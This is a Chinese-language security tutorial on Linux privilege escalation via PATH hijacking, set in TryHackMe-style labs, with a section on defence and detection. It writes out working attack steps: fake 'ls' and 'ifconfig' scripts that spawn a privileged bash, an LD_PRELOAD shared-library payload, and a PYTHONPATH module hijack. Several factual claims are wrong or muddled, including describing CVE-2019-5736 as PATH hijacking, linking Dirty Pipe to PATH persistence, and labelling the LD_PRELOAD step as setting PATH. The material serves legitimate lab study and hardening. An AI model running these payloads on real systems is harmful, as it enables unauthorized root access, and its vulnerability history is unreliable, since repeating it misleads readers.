1. Linux权限提升中的PATH变量利用解析
在Linux系统安全领域,PATH环境变量的不当配置是导致权限提升(Privilege Escalation)的经典漏洞之一。这种攻击方式属于"非预期权限提升"(unintended privilege escalation)的典型场景,攻击者通过操纵PATH变量来劫持系统命令的执行路径,从而获取更高权限。
注意:本文所有技术讨论仅限授权测试使用,实际操作需获得系统所有者明确许可
1.1 PATH环境变量基础原理
PATH是Linux/Unix系统中的关键环境变量,它定义了shell在执行命令时搜索可执行文件的目录顺序。当用户在终端输入命令时,系统会按照PATH中定义的路径顺序查找对应的可执行文件。
查看当前PATH设置的命令:
echo $PATH典型输出示例:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games系统查找命令时的关键特性:
- 按从左到右的顺序搜索目录
- 找到第一个匹配的可执行文件即停止搜索
- 如果所有路径都未找到,则报"command not found"
1.2 PATH滥用导致的权限提升
当满足以下条件时,可能发生通过PATH的权限提升:
- 当前用户对PATH中某个目录有写权限
- 该目录位于系统默认目录(如/usr/bin)之前
- 系统管理员或高权限进程会执行用户可影响的命令
攻击场景示例:
# 检查可写目录 find / -writable 2>/dev/null | grep -vE "/proc|/sys|/dev" # 发现/tmp在PATH中且可写 export PATH=/tmp:$PATH # 创建恶意ls脚本 echo "/bin/bash -p" > /tmp/ls chmod +x /tmp/ls # 等待管理员执行ls命令2. 实战演练:THM靶机中的PATH提权
2.1 环境侦察与漏洞识别
在TryHackMe(THM)的"Linux Privilege Escalation"实验环境中,我们首先需要确认PATH配置是否存在风险:
- 检查当前PATH设置:
echo $PATH # 输出显示包含用户可写目录- 查找可写目录:
find ~ -type d -writable 2>/dev/null- 确认SUID/SGID程序:
find / -perm -u=s -type f 2>/dev/null2.2 漏洞利用过程详解
假设我们发现/home/user/scripts目录可写且在PATH中靠前位置:
- 劫持常用命令:
# 创建恶意脚本替代常用命令 echo '#!/bin/bash' > /home/user/scripts/ifconfig echo '/bin/bash -p' >> /home/user/scripts/ifconfig chmod +x /home/user/scripts/ifconfig- 等待或诱导高权限用户执行:
# 当root用户执行ifconfig时 sudo ifconfig # 实际执行的是我们的恶意脚本- 获取root shell:
whoami # 输出应为root2.3 自动化检测工具
推荐使用以下工具检测PATH相关漏洞:
- LinPEAS:
./linpeas.sh | grep -i path- Linux Exploit Suggester:
perl linux-exploit-suggester.pl- 手动检查脚本:
for dir in $(echo $PATH | tr ":" "\n"); do [ -w "$dir" ] && echo "Writable: $dir" done3. 防御与加固方案
3.1 系统管理员防护措施
- PATH规范设置:
# 建议的root用户PATH设置 export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin- 目录权限控制:
# 确保系统目录权限正确 chmod -R 755 /usr/local/sbin /usr/local/bin chown -R root:root /usr/local/sbin /usr/local/bin- 使用绝对路径执行关键命令:
# 在脚本中使用完整路径 /bin/ls -l /root3.2 开发者安全实践
- 脚本中重置PATH:
#!/bin/bash export PATH=/bin:/usr/bin # 业务代码...- 命令完整性检查:
command -v ls >/dev/null 2>&1 || { echo "命令不存在"; exit 1; }- 使用which验证路径:
safe_cmd=$(which ls) $safe_cmd -l4. 高级利用技术与变种
4.1 结合LD_PRELOAD的利用
当直接PATH劫持不可行时,可尝试结合LD_PRELOAD:
- 创建恶意库:
// evil.c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); system("/bin/bash -p"); }- 编译并设置PATH:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles export LD_PRELOAD=/tmp/evil.so4.2 针对Python/Ruby等解释型语言的PATH利用
当系统存在可写的Python脚本目录时:
- 创建恶意Python模块:
# /tmp/evil.py import os os.system('/bin/bash -p')- 设置PYTHONPATH:
export PYTHONPATH=/tmp python -c "import evil"5. 企业环境下的检测与响应
5.1 监控策略配置
- 文件完整性监控:
# 使用aide监控系统目录 aide --check- 实时审计PATH修改:
# 使用auditd监控 auditctl -w /etc/environment -p wa -k path_modification- 用户行为分析:
# 检查异常PATH设置 grep -r "PATH=" /home/* /etc/{profile,bash*}5.2 应急响应流程
发现PATH滥用后的处理步骤:
- 隔离受影响系统
- 检查所有用户的.bashrc、.profile等文件
- 审查cronjob和systemd服务中的PATH使用
- 重置所有用户环境变量
- 修复目录权限问题
6. 靶场实战经验分享
在THM和HTB等靶场中,PATH提权常伴随以下特征:
- 存在自定义脚本目录:
find / -name "scripts" -type d 2>/dev/null- 开发环境配置不当:
# 检查开发工具配置 ls -la ~/.npm ~/.composer ~/.cache- 备份脚本中的相对路径:
grep -r "\./" /opt /home /etc/cron*关键技巧:
- 关注/home和/tmp下的可写目录
- 检查sudo -l输出中是否有env_keep+=PATH
- 尝试劫持python、perl等解释器命令
7. 相关CVE与历史案例
7.1 著名PATH相关漏洞
CVE-2019-5736(runc容器逃逸)
- 通过PATH劫持容器内命令
- 影响Docker等容器环境
CVE-2021-4034(pkexec本地提权)
- 利用PATH和GCONV_PATH环境变量
- 影响大多数Linux发行版
CVE-2022-0847(Dirty Pipe)
- 结合PATH进行权限维持
- Linux内核漏洞
7.2 企业环境真实案例
某金融企业事件时间线:
- 攻击者通过钓鱼获取初级员工权限
- 发现备份脚本使用相对路径
- 在用户目录创建恶意二进制文件
- 等待夜间备份任务执行
- 获取数据库服务器权限
防御建议:
- 生产环境使用静态编译的二进制文件
- 关键操作使用完整路径
- 定期审计cronjob和systemd服务
8. 延伸学习与资源推荐
8.1 推荐实验平台
TryHackMe:
- Linux Privilege Escalation房间
- Advent of Cyber Day 8挑战
HackTheBox:
- Starting Point系列机器
- Tier 1/Tier 2难度Linux靶机
VulnHub:
- Kioptrix系列
- Stapler虚拟机
8.2 学习资料
书籍:
- "Linux Basics for Hackers"
- "The Linux Command Line"
在线资源:
- GTFOBins项目(gtfobins.github.io)
- Linux手册页(man7.org)
检查清单:
- LinPEAS检查表
- Linux权限提升备忘录
在实际渗透测试中,PATH滥用只是众多权限提升技术中的一种。防御者应当建立多层次的安全防护,包括但不限于:严格的目录权限控制、最小权限原则、环境变量净化、以及全面的行为监控。对于开发者而言,永远不要信任用户控制的环境变量,在关键操作中始终使用绝对路径。